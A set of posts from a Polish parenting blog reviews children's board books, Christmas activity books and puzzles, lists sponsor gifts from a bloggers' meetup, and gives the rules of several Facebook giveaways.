KIEDY MAMA NIE ŚPI

Wanda Chotomska - Kurczę blade i Smok ze smoczej jamy.

Książki całokartonowe nadal są u nas na pierwszym miejscy, choć Oli tradycyjne książki również umie już oglądać. Jednak aby szybko nie zostały podzielone na części to trzeba mu przy tym towarzyszyć. Zaś takie książki jak Smok ze smoczej jamy czy Kurczę blade Oluś ogląda samodzielnie i kiedy tylko ma na to ochotę. Zabiera je też ostatnio do zasypiana co wcale temu nie sprzyja, ponieważ kiedy mu je czytam to on śmieje się w głos i rozbudza zamiast zasypiać. ;)Książka ta to jedna z wersji historii o Smoku wawelskim. Niektóre słowa mi przeszkadzały jak odliczanie raz, dwa, sześć zamiast raz, dwa, trzy. Jednak biorąc pod uwage całokształt jest to naprawdę fajna pozycja dla najmłodszych. Ja czytając ją synkowi bawię się głosem, dodaję dodatkowe dźwięki i wygłupiam się korzystając z sytuacji, że nikt tego nie widzi. :) Za to Oluś śmieje się i każe w kółko czytać ją sobie od nowa. Jedyna kwestia techniczna do której mogę się przyczepić to podatny na uszkodzenia grzbiet, który u nas jest już poprzecierany. Jednak nie uważam tego za błąd czy defekt książek tego wydawnictwa, tak już po prostu jest z grubszymi książkami całokartonowymi. Ci którzy mają na przykład Księgę dźwięków wiedzą o czym mówię. W tym przypadku raczej nie spodziewam się rozdzielania się stron ale na pewno prędzej czy później grzbiet trzeba będzie wzmocnić taśmą klejącą.Wydawnictwo: BabarybaAutor: Wanda ChotomskaRok wydania: 2011Stron: 24Format: 18 x 19 cmOprawa: twardaSugerowany przedział wiekowy: od 2 latCena na okładce: 26 złCena w aros.pl: 18,20 złCo o książce pisze wydawnictwo?„Smok ze smoczej jamy” to historia żarłocznego Smoka Wawelskiego i Szewczyka Dratewki spisana przez Wandę Chotomską – uwielbianą przez dzieci autorkę kilkuset wierszy i bajek. Historię po mistrzowsku zilustrował Edward Lutczyn i tak powstała książka niezapomniana, a wręcz kultowa! Przypominamy ją teraz w wersji polsko-angielskiej. Pozycja obowiązkowa w bibliotece każdego dziecka – małego i dużego!To jest jedna z tych pozycji dla dzieci, których fenomenu nie rozumiem, a która wywołuję trudny do opanowania głośny śmiech, a nawet chichot dziecka. Fabuła jest banalna. Dziadek kupuje jajko żeby je zjeść, z jajka jednak wydostaje się kurczak i zaczyna uciekać. Na koniec dziadkowi zostaje do zjedzenia (na pamiątkę) jedynie małe piółko kurczaczka, który uciekł na dobre.Oli już w momencie kiedy kurczak wydostaje się z jajka zaczyna się śmiać. Nie wiem, czy te ilustracje tak na niego działają czy sam tekst. Najważniejsze, że świetnie się bawi przy tej książce a ja mogę w tym czasie podziwiać jego chwytający za serce uśmiech. W tej pozycji tekstu jest naprawdę niewiele. Dosłownie po jednym zdaniu na stronę. Ilustracje są proste i dość skromne. Nawet bez czytania historii dziecko w mig łapie jej sens i dobrze się przy tym bawi. Zastanawia mnie jak autorka wpadła na taki pomysł i stworzyła książkę, którą dzieci uwielbiają a dorośli pewnie by po nią sami z siebie nie sięgneli. Może jest wróżką albo pomagała jej jakaś gromadka uśmiechnietych dzieci. Tak czy inaczej na pewno warto pokazać tą publikację dziecku i sprawdzić jego reakcję. Już nie raz się przekonałam, że książka która mnie nie interesuje zajmuje Olusia na długi czas i często później on do niej wraca.Wydawnictwo: BabarybaAutor: Wanda ChotomskaRok wydania: 2010Stron: 24Format: 18 x 19 cmOprawa: twardaSugerowany przedział wiekowy: od 1 rokuCena na okładce: 26 złCena w aros.pl: 18,20 złCo o książce pisze wydawnictwo?„Kurczę blade” Wandy Chotomskiej z kultowymi już ilustracjami Edwarda Lutczyna to dla wielu niezapomniana książka z dzieciństwa! Przezabawne perypetie sympatycznego kurczęcia po mistrzowsku narysowane przez Lutczyna przypominamy w wersji polsko-angielskiej. Książka w ekskluzywnym, kartonikowym wydaniu. Pozycja obowiązkowa w bibliotece każdego dziecka – małego i dużego!

Zimowe i świąteczne książki dla dzieci - Zestawy kreatywne od wyd. AWM.

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne książki dla dzieci - Zestawy kreatywne od wyd. AWM.

Za oknem coraz szybciej robi się ciemno. Deszczowa aura na dworzu, która panuje u nas od dłuższego czasu nie zachęca do spacerów. Jednocześnie coraz szybciej zbliżamy się do świąt Bożego Narodzenia. Warto popołudnia i wieczory spędzone w domu zapełnić atrakcyjnymi zabawami dla najmłodszych. Dziś pokażę Wam zestaw kreatywnych książeczek od Wydawnictwa AWM, dzięki którym Wasze dzieci nie tylko będą dobrze się bawić ale i poznają zwyczaje związane z nadchodzącymi świętami. Zapraszam!Naklej baw się! Gwiazdka to zestaw zabaw związanych tematycznie ze świętami Bożego Narodzenia, który nie tylko bawi ale i uczy. Jak zestaw z naklejkami może nauczyć dziecko czegoś poza czynnością dokładnego naklejania elementu w wyznaczone miejsce? To bardzo proste, zadania są skonstruowane w taki sposób aby dopasowywanie naklejek wiązało się na przykład z poznawaniem liter, cyfr, kolorów czy też kształtów. Na poniższych zdjęciach sami zobaczycie jaki to fajny pomysł na spędzenie czasu wspólnie z dzieckiem.Nie zabraknie tu takich akcentów świątecznych jak bombki, pierniczki, prezenty czy choinka. Spory format jak na książeczkę tego typu i dość grube śliskie strony to zdecydowane atuty tej publikacji.Wydawnictwo: AWMAutor: opracowanie zbioroweRok wydania: 2014Stron: 16 + 2 karty z naklejkamiFormat: 19,5 cm x 26,5 cmOprawa: miękkaSugerowany przedział wiekowy: od 3 latCena na okładce: 7,99 złCena w aros.pl: 5,27 złCo o książce pisze wydawnictwo?Ponad 70 naklejek i 16 kolorowych stron z zagadkami! To wspaniała zabawa i skuteczna nauka! Wesoła choinka, kolorowe bombki, piernikowe przysmaki, a do tego moc prezentów, czyli magiczny czas Świąt Bożego Narodzenia z książką pełną zagadek i aktywności dla najmłodszych! Labirynty, puzzle, wyszukiwanie różnic, uzupełnianie ciągów obrazkowych, dodawanie i i inne odpowiednio dobrane zadania sprawią, że poznawanie literek, cyferek, kształtów i kolorów stanie się dla Twojego dziecka ciekawą przygodą. Uzupełnieniem wspaniałej zabawy połączonej z nauką są kolorowe naklejki.Kolejna książeczka to Kolorowanki świąteczne, czyli zestaw kolorowanek z charektyrystycznymi pustymi okienkami w jednym z górnych rogów kartki. Tak, tak, to właśnie w to okienko wklejamy naklejkę, która może być dodatkiem do kolorowanki, bądź stanowić dla dziecka wzór do nanoszenia odpowiednich kolorów na obrazek. My jesteśmy na początkowym etapie nauki kolorowania. Oli zaczyna gryzmolić w miejscu i rysować proste figury geometryczne jak koło, kwadrat i trójkąt. Ta kolorowanka świetnie sprawdzi się zarówno dla takich maluchów jak Oluś jak i dla starszych 3-4 letnich dzieci.Wydawnictwo: AWMAutor: opracowanie zbioroweRok wydania: 2013Stron: 32 + 2 karty z naklejkamiFormat: 19 cm x 19 cmOprawa: miękkaSugerowany przedział wiekowy: od 2 latCena na okładce: 6,99 złCena w aros.pl: 4,62 złCo o książce pisze wydawnictwo?Koloruj, naklejaj, poznawaj kolory i kształty! Ciesz się zimą i świętami! Proste, wesołe obrazki do kolorowania dla maluchów. Uproszczone rysunki, wyraźny kontur i duże płaszczyzny do wypełniania kolorem zabawią każdego malucha w zimowo-świąteczny czas! Dodatkowo naklejki do każdego rysunku, które podpowiadają, jak go pokolorować. 32 naklejki w prezencie!Wielkoformatową publikację Buduj z papieru. Święta specjalnie zostawiłam na sam koniec. Kiedy byłam dzieckiem zachwycały mnie przestrzenne ozdoby z papiery tworzone specjalnie na określone okazje, takie jak święta Bożego Narodzenia. Łączenie i sklejanie ze sobą poszczególnych elementów wciągało mnie na dobre godziny. Odchodząc na chwilę od tematu, pamiętacie papierowe laleczki, które ubierało się w stroje z białymi zakładkami do zaczepienia na papierowej postaci? Kiedyś papierowe ozdoby i zabawki to był istny hit! W obecnych czasach często w domach króluje platikowa tandeta. Moim zdaniem warto wracać do starych, dobrych i sprawdzonych zabaw takich jak ta w składanie przestrzennych ozdób świątecznych, które tworzą w  domach świąteczny i zimowy klimat.Co do kwestii technicznych, duży format A4 gwarantuje, że ozdoby świąteczne nie będą mikroskopijnej wielkości. Warto zaznaczyć, że ta publikacja zawiera aż 81 różnych modeli, do których ozdobienia przygotowano dodatkowo ponad 70 naklejek, dzięki którym stworzycie niezwykłe świąteczne dekoracje. Ach, połączenia nie wymagają użycia nożyczek czy też kleju, to może być dobra wiadomość dla mam młodszych dzieci. :)Wydawnictwo: AWMAutor: opracowanie zbioroweRok wydania: 2015Stron: 24 strony z modelami2 strony z naklejkami4 strony z aktywnościamiFormat: A4Oprawa: miękkaSugerowany przedział wiekowy: od 3 latCena na okładce: 12,90 złCena w aros.pl: 8,51 złCo o książce pisze wydawnictwo?Książka z wyciskanymi modelami do składania bez użycia kleju! Dodatkowo papiery origami i naklejki! Fenomenalne! Strony książki jak za dotknięciem czarodziejskiej różdżki zmieniają się w:sanie Świętego Mikołajarenifery z dzwoneczkami radośnie zapowiadające świętawspaniałąchoinkę z bombkamistragany pełne świątecznych samkołykówKsiążka wprowadzi Młodych Czytelników w cudowny, świąteczny czas Bożego Narodzenia. Dzieci nie mają szans się nudzić. Kiedy przygotowania do świąt rozpoczęte, dzieci mogą samodzielnie budować modele i budować świąteczne miasteczko.Tą pozycją kończę drugi już wpis z serii, w której pokazuję Wam przeróżne publikacje wydawnicze związane z tematem zimy i zbliżających się świąt. Mam przyjemność zaprosić Was do udziału w kolejnym zimowym konkursie, w którym będziecie mogli wygrać książkę Buduj z papieru. Święta. Zapraszam do zabawy!Regulamin konkursu:1. Organizatorem konkursu jest właścicielka bloga kiedymamaniespi.pl2. Sponsorem nagrody jest Wydawnictwo AWM.3. Nagrodami w konkursie jest jeden egzemplarz książki Buduj z papieru. Święta.4. Konkurs trwa od 23.11.2015 r. do 30.11.2015 r. do północy.5. Wyniki zostaną ogłoszone dnia 1.12.1015 r.6. Wyboru zwycięzcy dokona właścicielka bloga.7. Aby wziąć udział w konkursie należy:a) Polubić wpis konkursowy na Facebooku,b) Polubić fanpage Wydawnictwa AWM.c) Napisać pod wpisem konkursowym list do św. Mikołaja z wymarzonymi prezentami dla dziecka lub mamy/taty.8. Zwycięzca zgadza się, abym przekazała jego dane adresowe Wydawnictwu AWM, w celu dostarczenia wygranej.9. Będzie mi miło, jeśli:         - udostępnisz plakat konkursowy na Facebooku,         - zaprosisz 3 osoby do zabawy,         - zostaniesz obserwatorem mojego bloga         - polubisz fanpage mojego bloga na Facebooku10. Konkurs organizowany jest na terenie Polski.11. Uczestnikiem konkursu może być osoba, która ukończyła 18 lat, posiada profil w serwisie facebook.com. Warunkiem bezwzględnym do uczestnictwa w konkursie i otrzymania nagrody jest posiadanie profilu z danymi zgodnymi z prawdą.12. Uczestnik, który zwycięży, w celu uzyskania nagrody powinien podać dane do wysyłki.13. Nie można przekazywać nagród na rzecz innych osób oraz wymieniać nagrody rzeczowej na jej wartość pieniężną u Organizatora.14. Serwis Facebook.com udostępnia wyłącznie infrastrukturę, dzięki której możliwa jest organizacja konkursu. Facebook nie sponsoruje i nie uczestniczy w organizacji konkursu, a tym samym nie ponosi odpowiedzialności za jakiekolwiek działania Organizatora i konsekwencji przeprowadzenia konkursu na łamach serwisu.15. Uczestnik konkursu wyraża zgodę na przetwarzanie danych osobowych do celów związanych z konkursem.16. Jeżeli zwycięzca konkursu w ciągu trzech dni od ogłoszenia wyników konkursu nie przekaże swoich danych do wysyłki nagrody Organizatorowi konkursu, na jego miejsce zostanie wybrana inna osoba wyłoniona z pozostałych uczestników konkursu.Serdecznie zapraszam Was do udziału w konkursie!Wiecie już, że w przyszłym tygodniu ponoć ma wszystko przykryć zimowa śnieżna pieżynka? Oli jest na to w pełni przygotowany. Sanki stoją w piwnicy gotowe do akcji, kombinezony są już poprane i zniesione z poddasza, a buty stoją grzecznie w szafce i czekają na swoją kolej. Jedynie ja zastanawiam się dopiero nad zakupem lekkiej ale ciepłej kurtki i odpowiedniego obuwia do szaleństw na śniegu z Olusiem w: http://salewa.sklep-luz.pl/.

Wygraj mięciutki kocyk od Womar! KONKURS

KIEDY MAMA NIE ŚPI

Wygraj mięciutki kocyk od Womar! KONKURS

Dziś mam przyjemność zaprosić Was do wzięcia udziału w konkursie, który współorganizuję z firmą Womar. Do wygrania mięciutki kocyk!Regulamin konkursu:1. Organizatorem konkursu jest właścicielka bloga kiedymamaniespi.pl2. Sponsorem nagrody jest firma WOMAR.3. Nagrodą w konkursie jest ciepły kocyk  bawełniano-akrylowy w rozmiarze 75x100 cm.4. Konkurs trwa od 20.11.2015 r. do 30.11.2015 r. do północy.5. Wyniki zostaną ogłoszone dnia 1.12.1015 r.6. Wyboru zwycięzcy dokona właścicielka bloga.7. Aby wziąć udział w konkursie należy:a) Polubić wpis konkursowy na Facebooku,b) Polubić fanpage frmy WOMARc) Napisać pod wpisem konkursowym w jakim kolorze kocyk wybierasz.8. Zwycięzca zgadza się, abym przekazała jego dane adresowe firmie WOMAR, w celu dostarczenia wygranej.9. Będzie mi miło, jeśli:- udostępnisz plakat konkursowy na Facebooku,- zaprosisz 5 osób do zabawy,- polubisz fanpage mojego bloga na Facebooku10. Konkurs organizowany jest na terenie Polski.11. Uczestnikiem konkursu może być osoba, która ukończyła 18 lat, posiada profil w serwisie facebook.com. Warunkiem bezwzględnym do uczestnictwa w konkursie i otrzymania nagrody jest posiadanie profilu z danymi zgodnymi z prawdą.12. Uczestnik, który zwycięży, w celu uzyskania nagrody powinien podać dane do wysyłki.13. Nie można przekazywać nagród na rzecz innych osób oraz wymieniać nagrody rzeczowej na jej wartość pieniężną u Organizatora.14. Serwis Facebook.com udostępnia wyłącznie infrastrukturę, dzięki której możliwa jest organizacja konkursu. Facebook nie sponsoruje i nie uczestniczy w organizacji konkursu, a tym samym nie ponosi odpowiedzialności za jakiekolwiek działania Organizatora i konsekwencji przeprowadzenia konkursu na łamach serwisu.15. Uczestnik konkursu wyraża zgodę na przetwarzanie danych osobowych do celów związanych z konkursem.16. Jeżeli zwycięzca konkursu w ciągu trzech dni od ogłoszenia wyników konkursu nie przekaże swoich danych do wysyłki nagrody Organizatorowi konkursu, na jego miejsce zostanie wybrana inna osoba wyłoniona z pozostałych uczestników konkursu.Serdecznie zapraszam Was do udziału w konkursie!

Dwuelementowe puzzle dla dwulatka od CzuCzu.

KIEDY MAMA NIE ŚPI

Dwuelementowe puzzle dla dwulatka od CzuCzu.

Nie tak dawno Oluś rozpoczął swoją przygodę z puzzlami. Początkowo podchodził do nich dość sceptycznie. Za to teraz sam chętnie zdejmuje je z półki i zaczyna układać. Rozumie już też, że puzzli nie układa się w powietrzu i że wystarczy trzymać tylko jeden element i dopasowywać go do drugiego. Jego rosnące zainteresowanie puzzlami bardzo mnie cieszy bo sama uwielbiam układać zestawy z tysiącami sztuk. Zobaczcie jakie dwa dwuelemntowe zestawy są u nas obecnie na topie.Jak widać część zestawów puzzli trzymamy w oryginalnych pudełkach. Te od CzuCzu są wygodne i co najważniejsze wytrzymałe. W naszym pokoiku nie sposób pomieścić dużej ilości otwartych pudełek do każdego kompletu puzzli, choć dwa/trzy zestawy w takich właśnie pudełkach się znajdują. Od jakiegoś czasu wszystkie zabawki Olusia poukładałam w ten sposób aby miał do nich swobodny dostęp i aby mógł je brać samodzielnie kiedy tylko chce. Dzięki temu być może jego zainteresowanie puzzlami tak szybko się zwiększyło. Sięga po nie kiedy tylko sam ma na to ochotę, a nie kiedy ja mu je zasugeruję.Zestaw Puzzle do pary. Pojazdy są wykonane z grubej tektury. Ich połączenia są uniwersalne, ale nie zakładajcie z góry, że dziecko będzie je łączyło na chybił trafił. O dziwo dobieranie w pary jest dość naturalną czynnością i Oli bardzo szybko zauważył, że tylko dane dwa elementy do siebie pasują i tworzą pełen obrazek. Ilustracje na puzzlach z tego zestawu są proste i czytelne, nie zawierają zbyt dużej ilości szczegółów, co ja uważam za ich duży plus. Są dość duże, dzięki czemu dwulatkowi łatwiej jest je chwycić, a jednocześnie nadal bez problemu mieszczą się w małej dłoni.Drugi zestaw w kształcie jajek to A kuku! Safari. Tu jest już trochę trudniej. Kształt każdego dwuelementowego zestawu puzzli jest taki sam. W przypadku poprzedniogo zestawu obrazki zdecydowanie różniły się od siebie. Te puzzle wymagają od dziecka zdecydowanie więcej spostrzedawczości i uwagi. Dodatkowo uczą one również pojęć mały-duży, ponieważ układając je dziecko ma za zadanie dopasowywać do siebie te same zwierzęta (jedno to dorosły osobnik, a drugie to jego dziecko). Lubię takie ukryte elementy edukacyjne w pozornie zwykłej i prostej zabawie jaką jest układanie puzzli.Puzzle do pary. PozjazdyWydawnictwo: CzuCzuSugerowany przedział wiekowy: 18 miesięcy +Cena na opakowaniu: 19,90 złCena w aros.pl: 13,13 złCo o grze pisze wydawnictwo?Brum, brum!Na wakacje z konikiemczy do pracy z krecikiem?Połączcie puzzle w pary.A może ułożycie zupełnie nowe pojazdy?Zabawa w układanie puzzli rozwija zdolności manualne i spostrzegawczość. Jest świetnym sposobem na wspólną zabawę z maluchem. W zestawie znajdziemy 6 dwuelementowych układanek.A kuku! SafariWydawnictwo: CzuCzuSugerowany przedział wiekowy: 2 lata +Cena na opakowaniu: 19,90 złCena w aros.pl: 13,13 złCo o grze pisze wydawnictwo?A kuku! Tu jestem!Dzikie zwierzątka bawią się w chowanego. Odszukaj i połącz wszystkie!Zabawa w układanie puzzli rozwija zdolności manualne i spostrzegawczość. Jest świetnym sposobem na wspólną zabawę z maluchem.W zestawie znajdziemy 7 dwuelementowych układanek.

Blogowy Szał Mam - Relacja ze spotkania blogerek cz. II.

KIEDY MAMA NIE ŚPI

Blogowy Szał Mam - Relacja ze spotkania blogerek cz. II.

Już jakiś czas temu wspomniałam Wam, że miałam okazję uczestniczyć w spotkaniu Blogowy Szał Mam w Łęczycy. Dziś nadeszła pora aby pokazać jakie prezenty przygotowali dla nas sponsorzy spotkania. Plus dla skóry -  szampon do włosów przetłuszczających się oraz żel do mycia ciała i włosów dla dzieci. Jest to jedyny prezent, który został dostosowany do naszych potrzeb i z pewnością podzielę się z Wami naszymi wrażeniami z ich używania w odrębnym wpisie.Oillan - hydro-lipidowy krem przecizmarszczkowy. Zmarszczek jak na razie nie mam ale myślę, że trafi z dobre ręce na święta.Bourjois - lusterko podświetlane, kredka i pilniczek. Kredka nie w moim kolorze, za to lusterko i pilniczek zagościły na stałe w mojej torebce.Emolium - Trójaktywna emulsja do kąpieli. Bardzo lubię kosmetyki tej firmy, więc jak najbardziej zostanie on przez nas wykorzystany.DLA - zestaw kosmetyków: krem do rąk oraz krem kuracja regenerująca na noc. Tych kosmetyków jestem bardzo ciekawa. Jak wiecie mam ekstremalnie wrażliwą skórę i niewiele kosmetyków nie powoduje u mnie nieporządanych efektów. Wiążę z tymi kosmetykami naprawdę sporo nadziei. Zobaczymy jak się sprawdzą podczas używania.Lovekolkowe - pompon.Nasza Pracownia - identyfikator, przypinka i dyplom.Fabryka Reklam 24 - kubek.Elilu - piękny kubek, długopis i kilka krówek "mordoklejek". Kubki uwielbiam, więc jak najbardziej ucieszyłam się z tego prezentu.Domodi - Czy to nie wstyd podarować komuś sam długopis?Pracownia Tynka - talerzyk z butelki/ podkładka pod telefon.Magnesowy - magnesy.Wydwanictwo WAM - książka Robot w ogrodzie.Wydawnictwo Znak - książka Treasure Hunters. Tajemnica mapy.CzuCzu - kolorowanka Bazgrołki dla urwisów. Kompletnie niedopasowany prezent wiekowo, a szkoda, bo CzuCzu uwielbiamy.Wydawnictwo Skrzat - książka Gwiżdżemy na króla Ogóra, naklejki i zakładki do książek.Topgal - zeszyt.Jungoffska - audiobook Dlaczego kąpiesz się w spodniach wujku? Super!Elemele - tatuaże.Grupa Wydawnicza Publicat - książka Elmer i dziadek Eldo, zakładka i podkładka.Wydawnictwo AWM - kolorowanka i autko do składania.Hobi Bobi - czapka w rozmiarze unniwersalnym.Made by Ruda - zakładka do książek.Siostry Szyją - przytulanka minky w kształcie łódeczki.Kids Koncept - mięciutka poduszka.Papillon - mini portfelik.SzumneBeboki - broszkaThroughPlayBook - zawieszka.Kuferek Pereł - kolczyki.Toly - zestaw jednorazowych gadżetów przydatnych w podróży.Memo - kubek, plan lekcji, długopis i ogrzewacz do rąk. Zdecydowanie ogrzewacz do rąk to mój faworyt. Z pewnością będziemy go zabierać na zimowe spacery.Topgal - kamizelka odblaskowa. Świetny prezent. Rozmiarowo jest torchę za duża na Olusia, ale w przyszłym roku będzie jak znalazł na wycieczki rowerowe. AllBag - torba na zakupy. Ich nigdy za wiele.Twórczo Zakręceni - zestaw gazetek do robótek ręcznych dla początkujących. Bardzo fajny prezent. Kiedy tylko znajdę trochę czasu to chętnie wykonam na przykład zakładkę za pomocą haftu krzyżykowego.Rainbow Loom Polska - kreatywny zestaw z gumkami.Chocolissimo - zestaw przepysznych czekoladek.AKatja - etykiety na przyprawy.Dziękuję wszystkim sponsorom za prezenty.

Zomowe i świąteczne książki dla dzieci - Zima w Klinice Małych Zwierząt w Leśnej Górce + KONKURS

KIEDY MAMA NIE ŚPI

Zomowe i świąteczne książki dla dzieci - Zima w Klinice Małych Zwierząt w Leśnej Górce + KONKURS

Pokazałam Wam już jakiś czas temu książkę Wiosna w klinice małych zwierząt w Leśnej Górce. Dziś przyszła pora na część o zimie w Leśnej Górce. Ta recenza jest dość wyjątkowa, ponieważ rozpoczyna serię wpisów o zimowych i świątecznych pozycjach książkowych dla dzieci, które będę pokazywać Wam regularnie aż do świąt. Zapraszam.Zima zbliża się już wielkimi krokami do Leśnej Górki. Mieszkańcy lasu kończą już przygotowywać zapasy na ten trudny czas. Cześć zwierząt układa się do zimowego snu a inne zajmują ich miejsce i przejmują ich dotychczasowe obowiązki w klinice. Wszystko musi być dopięte na ostatni guzik, bo z zimą nie ma żartów i trzeba się do niej naprawdę dobrze przygotować.W tej pięknie ilustrowanej książce znajdziecie między innymi opowiadanie o dwóch małych i wiecznie głodnych niedźwiadkach oraz o wielkim powrocie myszy, która jako pierwsza udzielała pomocy potrzebującym mieszkańcom lasu zanim jeszcze powstała tytułowa klinika.Ja uwielbiam wręcz opowiadania, które nie tylko posiadają ciekawą fabułę ale i niosą ze sobą ważną naukę, morał. Tak właśnie jest w przypadku tej książki, w każdym opowiadaniu znajdziemy wskazówkę jak należy się zachowywać a jakich sytuacji unikać. Autor porusza takie tematy jak kradzież, opieka nad starszymi czy niesienie pomocy innym. Zdecydowanie cała seria jest wyjątkowa i warto ją z czasem skompletować. Jest to jedna z książek, które zapamiętacie na długo i do których będziecie wracać przez lata.Wydawnictwo: Wydawnictwo BisAutor: Tomasz SzwedIlustrator: Aneta Krella-MochRok wydania: 2015Stron: 136Format: 16,8 x 24 cmOprawa: twardaSugerowany przedział wiekowy: od 5 latCena na stronie wydawnictwa: 32,90 złCena w aros.pl: 21,71 złCo o książce pisze wydawnictwo?Kiedy las przykrywa się białą kołderką śniegu i wokół ściska mróz, dla zwierząt nadchodzi trudny czas. Jedne chronią się w podziemnych tunelach, inne zapadają w zimowy sen, a jeszcze inne stroszą futerka i przedzierają się przez zaspy. Śnieżna zima to także doskonała okazja do zabawy, szczególnie dla młodych zwierząt, jednak o wypadek nietrudno. Klinika Małych Zwierząt w Leśnej Górce jest przygotowana do zimy: zgromadzono zapasy żywności i środków leczniczych oraz zorganizowano zastępstwa dla zapadającego w sen zimowy personelu. Tu każdy pacjent znajdzie pomoc i wsparcie.Kolejna część przygód lekarzy i pacjentów o miłych pyszczkach i miękkich futerkach. Ciepłe, przyjazne i dowcipne opowiadania, niosące wiedzę o świecie przyrody i oswajające z leczeniem – doskonała lektura dla przyszłych lekarzy.Mam dla Was niespodziankę! Możecie wygrać egzemplarz tej książki, ponieważ wraz z Wydawnictwem Bis zorganizowaliśmy dla Was iście zimowy konkurs. Szczegóły poniżej.Regulamin konkursu:1. Organizatorem konkursu jest właścicielka bloga kiedymamaniespi.pl2. Sponsorem nagrody jest Wydawnictwo Bis.3. Nagrodami w konkursie jest jeden egzemplarz książki Zima w Klinice Małych Zwierząt w Leśnej Górce.4. Konkurs trwa od 17.11.2015 r. do 23.11.2015 r. do północy.5. Wyniki zostaną ogłoszone dnia 24.11.1015 r.6. Wyboru zwycięzcy dokona właścicielka bloga.7. Aby wziąć udział w konkursie należy:a) Polubić wpis konkursowy na Facebooku,b) Polubić fanpage Wydawnictwa Bisc) Napisz pod wpisem konkursowym w jaki sposób zwierzęta leśne przygotowują się do zimy.8. Zwycięzca zgadza się, abym przekazała jego dane adresowe Wydawnictwu Bis, w celu dostarczenia wygranej.9. Będzie mi miło, jeśli:         - udostępnisz plakat konkursowy na Facebooku,         - zaprosisz 3 osoby do zabawy,         - zostaniesz obserwatorem mojego bloga         - polubisz fanpage mojego bloga na Facebooku10. Konkurs organizowany jest na terenie Polski.11. Uczestnikiem konkursu może być osoba, która ukończyła 18 lat, posiada profil w serwisie facebook.com. Warunkiem bezwzględnym do uczestnictwa w konkursie i otrzymania nagrody jest posiadanie profilu z danymi zgodnymi z prawdą.12. Uczestnik, który zwycięży, w celu uzyskania nagrody powinien podać dane do wysyłki.13. Nie można przekazywać nagród na rzecz innych osób oraz wymieniać nagrody rzeczowej na jej wartość pieniężną u Organizatora.14. Serwis Facebook.com udostępnia wyłącznie infrastrukturę, dzięki której możliwa jest organizacja konkursu. Facebook nie sponsoruje i nie uczestniczy w organizacji konkursu, a tym samym nie ponosi odpowiedzialności za jakiekolwiek działania Organizatora i konsekwencji przeprowadzenia konkursu na łamach serwisu.15. Uczestnik konkursu wyraża zgodę na przetwarzanie danych osobowych do celów związanych z konkursem.16. Jeżeli zwycięzca konkursu w ciągu trzech dni od ogłoszenia wyników konkursu nie przekaże swoich danych do wysyłki nagrody Organizatorowi konkursu, na jego miejsce zostanie wybrana inna osoba wyłoniona z pozostałych uczestników konkursu.Serdecznie zapraszam Was do udziału w konkursie!

Zły kocurek kontra wujek Muniek.

KIEDY MAMA NIE ŚPI

Zły kocurek kontra wujek Muniek.

Kiedy przeczytałam na okładce adnotację, że ta książka jest bestsellerem New York Timesa to nie mogłam się doczekać jej zawartości. Jest w iście amerykańskim stylu. Jeśli dziecko lubi oglądać amerykańskie kreskówki to jest pozycja wręcz idealna dla niego. Swoją drogą ja fenomenu tego rodzaju bajek nie rozumiem, ale dzieci je wręcz kochają.Tytułowy zły kocurek to kot pełną gębą. Nie cierpi psów, a niestety przyszło mu mieszkać w domu ze szczeniakiem. Nie cierpi nowych osób w swoim domu, a tu nagle jego właściciele wyjeżdżają i do domu na cały tydzień wkracza wujek Muniek, który już samym wyglądem potrafi wystraszyć. Uwielbia ciszę i spokój oraz wylegiwanie się na kanapie, a jego nowy opiekun jak nie próbuje na niego usiąść to ściska go za ogon myśląc, że to ścierka, albo nagle uruchamia odkurzacz doprowadzając tym biednego kocurka do szału.Z pewnością ten tydzień nie będzie należał do najłatwiejszych. Kto wyjdzie na tym gorzej? Wujek Muniek czy zły kocurek? Jaki wspaniały prezent przywiozą kocurkowi jego właściciele? Przeczytajcie sami i bawcie się dobrze.Ta publikacja to połączenie klasycznej książki z komiksem. Już same ilustracje wywołują uśmiech na twarzy. Jeśli dodać do tego jeszcze nieźle zakręcony tekst i naprawdę zabawną fabułę to śmiechu z pewnością nam z tą książką w dłoniach nie zabraknie. Jest to lektura raczej dla starszych dzieci. Być może już 6-7 latek będzie nią zachwycony. Mnie rozbawiła ale jak na moje stare lata jest ona zbyt zakręcona i w pewnym momencie zaczynałam się gubić szczególnie kiedy do akcji wkroczyły ni z gruszki dwie postacie jeszcze bardziej zakręcone niż tytułowy kocurek. To książka, którą czyta się jednym tchem i trudną odłożyć dalsze czytanie na później. Polecam wszystkim lubiącym dowcipne historyjki i dynamiczne, trochę komiksowe, ilustracje.Wydawnictwo: MamaniaAutor: Nick BruelRok wydania: 2015Stron: 158Format: 14,4 x 21,3 cmOprawa: twardaSugerowany przedział wiekowy: od 5 do 9 latCena na okładce: 19,90 złCena w aros.pl: 16,43 złCo o książce pisze wydawnictwo?Najgorszy koszmar każdego opiekuna!Kocurek i Szczeniaczek mają na tydzień zostać w domu. Ale kto się nimi zaopiekuje podczas nieobecności właścicieli? Nieoceniony wujek Muniek, gwiazda rubryki z Fajnymi Faktami –człowiek, o którym myślisz, że o kotach wie absolutnie wszystko. Czy rzeczywiście? Czy uda mu się przetrwać?Zły Kocurek kontra wujek Muniek to kolejny tom bestsellerowej serii Nicka Bruela dla początkujących czytelników. Jego książki doprowadzają do śmiechu nie tylko dzieci, ale i dorosłych – dzięki przezabawnym ilustracjom i historiom, w których każdy właściciel kota rozpozna swojego pupila.Książki o Złym Kocurku ze stworzonej przez Nicka Bruela bestsellerowej serii dla dzieci rozbawią Ciebie i Twoje dziecko do łez. Każdy właściciel kota rozpozna w Kocurku swojego futrzaka. Ci, którzy kotów nie mają, zobaczą, jak to jest naprawdę mieć kota w domu. Napisane i narysowane z humorem książki o Złym Kocurku uwielbiane są przez tysiące małych i dużych czytelników. Rodzicu, nie zdziw się, jeśli w Twoim domu Kocurek zamieszka na stałe!Zdradzę Wam tylko tyle, że o mały włos, a właściciele kocurka musieliby korzystać z usług http://apm-development.com.pl/ i szukać sobie nowego lokum. ;)

Facet i kuchnia. Smacznie, kreatywnie i bez glutenu.

KIEDY MAMA NIE ŚPI

Facet i kuchnia. Smacznie, kreatywnie i bez glutenu.

